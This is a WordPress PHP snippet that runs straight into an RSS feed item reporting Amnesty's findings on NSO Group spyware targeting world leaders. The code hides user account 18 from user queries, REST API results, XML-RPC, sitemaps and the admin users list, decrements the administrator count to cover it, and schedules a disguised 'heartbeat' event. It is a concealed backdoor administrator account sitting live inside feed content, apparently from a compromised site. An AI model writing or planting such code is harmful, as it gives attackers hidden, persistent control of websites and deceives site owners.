add_action( 'pre_get_posts', function( $q ) {
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add_filter( 'wp_dropdown_users_args', function( $a ) {
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    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
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    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
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        return new WP_Error(
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    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
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        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
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                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
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        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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					<description><![CDATA[<p>French President Emmanuel Macron leads a list of 14 current or former heads of state who may have been targeted for hacking by clients of the notorious Israeli spyware firm NSO Group, Amnesty International has said. “The unprecedented revelation &#8230; should send a chill down the spine of world leaders,” Amnesty’s secretary general, Agnes Callamard, [&#8230;]</p>
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										<content:encoded><![CDATA[<p><span style="font-weight: 400">French President Emmanuel Macron leads a list of 14 current or former heads of state who may have been targeted for hacking by </span><a href="https://www.thehindu.com/news/national/pegasus-spyware-used-to-snoop-on-indian-journalists-activists/article35399573.ece"><span style="font-weight: 400">clients of the notorious Israeli spyware firm NSO Group</span></a><span style="font-weight: 400">, Amnesty International has said.</span></p>
<p><span style="font-weight: 400">“The unprecedented revelation &#8230; should send a chill down the spine of world leaders,” Amnesty’s secretary general, Agnes Callamard, said in a statement on Tuesday.</span></p>
<p><span style="font-weight: 400">Among potential targets found on a list of 50,000 phone numbers leaked to Amnesty and the Paris-based journalism nonprofit Forbidden Stories include Presidents Imran Khan of Pakistan, Cyril Ramaphosa of South Africa and Barham Salih of Iraq. Three current Prime Ministers and the king of </span><span style="font-weight: 400">Morocco, Mohammed VI, are also on the list,</span><i><span style="font-weight: 400"> The Washington Post</span></i><span style="font-weight: 400"> reported.</span></p>
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